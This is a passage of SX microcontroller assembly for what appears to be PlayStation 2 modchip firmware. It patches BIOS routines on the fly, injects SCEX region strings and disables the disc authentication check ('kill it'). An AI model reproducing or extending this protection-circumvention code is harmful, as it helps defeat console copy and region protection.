MACRO_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 MACRO_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L3 MACRO_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 MACRO_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L5 MACRO_BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp MACRO_BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w ; preload IO_BIOS_DATA for 0 for when change to output IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m ;4secs = DISABLE_MODE but retap of reset within 10sec for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#61;59;$3b ;load timer=61,delay = (256-61)*256*0.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f ; Check USA JMPER here for v8 Jap console setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_LOGO_PATCH ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS2_PS2LOGO::loop00x ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- IFDEF SX48RAM mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ELSE mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ENDIF ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- OSDSYS_BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 ; 0 retw $80 ; 1 retw $ac ; 2 retw $c ; 3 retw $0 ; 4 retw $0 ; 5 retw $0 ; 6 ;VX retw $24 ; 7 retw $10 ; 8 retw $3c ; 9 retw $e4 ; 10 retw $24 ; 11 retw $80 ; 12 retw $ac ; 13 retw $e4 ; 14 retw $22 ; 15 retw $90 ; 16 retw $ac ; 17 retw $84 ; 18 retw $bc ; 19 mov w,#79;$4f ; 20 mov VAR_DC3,w ; 21 ;;79 ; #### ber jmp OSDSYS_BIOS_PATCH_DATA_PART2_ALL ; 22 ;V9 retw $24 ; 23 retw $10 ; 24 retw $3c ; 25 retw $74 ; 26 retw $2a ; 27 retw $80 ; 28 retw $ac ; 29 retw $74 ; 30 retw $28 ; 31 retw $90 ; 32 retw $ac ; 33 retw $bc ; 34 retw $d3 ; 35 mov w,#79;$4f ; 36 mov VAR_DC3,w ; 37 jmp OSDSYS_BIOS_PATCH_DATA_PART2_ALL ; 38 ;V14 retw $24 ; 39 ;; +8 = 47 retw $10 ; 40 retw $3c ; 41 retw $78 ; 42 retw $2d ; 43 retw $80 ; 44 retw $ac ; 45 retw $40 ; 46 retw $2b ; 47 retw $90 ; 48 retw $ac ; 49 retw $a0 ; 50 retw $ff ; 60 mov w,#79;$4f ; 61 mov VAR_DC3,w ; 62 jmp OSDSYS_BIOS_PATCH_DATA_PART2_ALL ; 63 ;V10-12 retw $24 ; 64 ;; 39 +8 = 47 retw $10 ; 65 retw $3c ; 66 retw $e4 ; 67 retw $2c ; 68 retw $80 ; 69 retw $ac ; 70 retw $f4 ; 71 retw $2a ; 72 retw $90 ; 73 retw $ac ; 74 snb V12_FLAG ; 75 jmp V12_CONSOLE_20_BIOS_JMP ; 76 mov w,#70;$46 ; 77 mov VAR_DC3,w ; 78 ;; 54 + 16 = 70 retw $a4 ; 79 retw $ec ; 80 mov w,#79;$4f ; 81 mov VAR_DC3,w ; 82 ;; 63 + 16 = 79 jmp OSDSYS_BIOS_PATCH_DATA_PART2_ALL ; 83 ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d ; 84 mov VAR_DC3,w ; 85 ;; 61 + 16 = 77 retw $c ; 86 retw $f9 ; 87 ;LOAD_END OSDSYS_BIOS_PATCH_DATA_PART2_ALL retw $91 ; 88 ;; 63 + 8 = 71 ;;79 retw $34 ; 89 retw $0 ; 90 retw $0 ; 91 retw $30 ; 92 retw $ae ; 93 retw $c ; 94 retw $0 ; 95 retw $0 ; 96 retw $0 ; 97 ;LOAD_PSX1D retw $c7 ; 98 ;; 73 retw $2 ; 99 retw $34 ; 100 retw $19 ; 101 retw $19 ; 102 retw $e2 ; 103 retw $ba ; 104 retw $11 ; 105 retw $19 ; 106 retw $e2 ; 107 retw $ba ; 108 ;V14 jmp back retw $3c ; 109 ;; 71 + 8 = 79 retw $c7 ; 110 ;; 73 retw $2 ; 111 retw $34 ; 112 IFDEF NTSCPS1YFIX75K retw $29 ; 113 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ; 113 ;19pal/29ntsc yfix pal console ENDIF retw $19 ; 114 retw $c2 ; 115 retw $bb ; 116 IFDEF NTSCPS1YFIX75K retw $21 ; 117 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ; 117 ;11pal/21ntsc yfix pal console ENDIF retw $19 ; 118 retw $c2 ; 119 retw $bb ; 120 retw $60 ; 121 retw $9 ; 122 retw $8 ; 123 retw $8 ; 124 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp PS2_CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS1DRV_PATCHLOAD_v14 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 PS2_CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp LOAD_PATCH_DEV1_STACK mov VAR_DC3,w IFDEF SX48RAM mov w,#$10 ELSE mov w,#$15 ENDIF mov fsr,w ;:loop LOAD_OSDSYS_BIOS_PATCH_DATA mov w,VAR_DC3 call OSDSYS_BIOS_PATCH_DATA mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 ; VAR_DC3 starting point and increased as retw and steps decsz VAR_DC1 ; VAR_DC1 lenght of patch to load decresing as retw jmp LOAD_OSDSYS_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) OSDSYS_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC OSDSYS_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP1 OSDSYS_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC OSDSYS_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP3 OSDSYS_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC OSDSYS_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP5 OSDSYS_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC IFDEF SX48RAM mov w,#$10;15 ELSE mov w,#$15 ENDIF mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 OSDSYS_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC_P2 OSDSYS_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC_P3 ;:loop66 OSDSYS_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P4 OSDSYS_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC_P3 OSDSYS_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w OSDSYS_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS2_PS2LOGO:back ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch IFDEF SX48RAM ;SETUPDEV LOAD_PATCH_DEV1_STACK mov w,#$17;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp OSDSYS_BIOS_PATCH_SYNC SET_V14DRV mov w,#$1f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$2b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$2f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$35;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$37;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_OSDSYS_BIOS_PATCH_DATA ELSE ;SETUPDEV LOAD_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp OSDSYS_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_OSDSYS_BIOS_PATCH_DATA ENDIF ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- IS_XCDVDMANX page $0000 ; PAGE1 call SET_INTRPT IS_XCDVDMAN snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#200;100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS IS_XCDVDMAN:loop4 mov w,#255;$ff mov VAR_DC3,w IS_XCDVDMAN:loop3 mov w,#255;$ff mov VAR_DC2,w IS_XCDVDMAN:loop2 mov w,#255;$ff mov VAR_DC1,w IS_XCDVDMAN:loopx sb IO_BIOS_CS jmp IS_XCDVDMAN:loop1 decsz VAR_DC1 jmp IS_XCDVDMAN:loopx decsz VAR_DC2 jmp IS_XCDVDMAN:loop2 decsz VAR_DC3 jmp IS_XCDVDMAN:loop3 decsz VAR_DC4 jmp IS_XCDVDMAN:loop4 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... IS_XCDVDMAN:loop0 snb IO_BIOS_CS jmp IS_XCDVDMAN:loopx IS_XCDVDMAN:loop1 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp IS_XCDVDMAN:loop0 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp IS_XCDVDMAN:loop0 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp IS_XCDVDMAN:loop0 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 xcdvdman1_l0a snb IO_BIOS_OE jmp xcdvdman1_l0a mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l0a call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l0a call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l0a call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l0a ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp xcdvdman_patch_again ;xcdvdman1_next IFDEF SX48RAM mov w,#$10;15 ELSE mov w,#$15 ENDIF mov fsr,w xcdvdman1_l1 snb IO_BIOS_OE jmp xcdvdman1_l1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l1 xcdvdman1_l1_P2 sb IO_BIOS_OE jmp xcdvdman1_l1_P2 mov !IO_BIOS_DATA,w xcdvdman_patch snb IO_BIOS_OE jmp xcdvdman_patch page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp IS_XCDVDMAN ;? da verificare !!! ;again xcdvdman_patch_again clrb X_FLAG jmp IS_XCDVDMAN ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 ; 1 retw $3 ; 2 retw $21 ; 3 retw $10 ; 4 retw $0 ; 5 retw $0 ; 6 mov w,#51;$33 ; 7 mov VAR_DC3,w ; 8 sb V14_FLAG ; 9 jmp PS2LOGO_PATCH_not22_JMP1 ; 10 ;v14 mov w,#13;$d ; 11 mov VAR_DC3,w ; 12 retw $40 ; 13 retw $8 ; 14 retw $11 ; 15 retw $3c ; 16 retw $8 ; 17 retw $0 ; 18 retw $32 ; 19 retw $36 ; 20 retw $f8 ; 21 retw $1 ; 22 retw $92 ; 23 retw $ac ; 24 retw $21 ; 25 retw $0 ; 26 retw $40 ; 27 retw $8 ; 28 retw $b ; 29 retw $0 ; 30 retw $32 ; 31 retw $36 ; 32 retw $10 ; 33 retw $0 ; 34 retw $4 ; 35 retw $3c ; 36 retw $18 ; 37 retw $16 ; 38 retw $92 ; 39 retw $ac ; 40 retw $0 ; 41 retw $0 ; 42 retw $4 ; 43 retw $8 ; 44 mov w,#70;$46 ; 45 mov VAR_DC3,w ; 46 snb V14_FLAG ; 47 jmp PS2LOGO_PATCH_22_JMP2 ; 48 ;not v14 patches, how flows? mov w,#51;$33 ; 49 mov VAR_DC3,w ; 50 ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 ; 51 retw $11 ; 52 retw $3c ; 53 retw $c1 ; 54 retw $0 ; 55 retw $32 ; 56 retw $36 ; 57 retw $18 ; 58 retw $16 ; 59 retw $92 ; 60 retw $ac ; 61 retw $c ; 62 retw $0 ; 63 retw $0 ; 64 retw $0 ; 65 LOGO2 retw $0 ; 66 retw $0 ; 67 retw $0 ; 68 retw $0 ; 69 PS2LOGO_PATCH_22_JMP2 ; fix for v14 stablity jmp instead of LOGO2 retw $20 ; 70 retw $38 ; 71 retw $11 ; 72 retw $0 ; 73 retw $0 ; 74 retw $60 ; 75 ;;60 retw $3 ; 76 retw $24 ; 77 retw $0 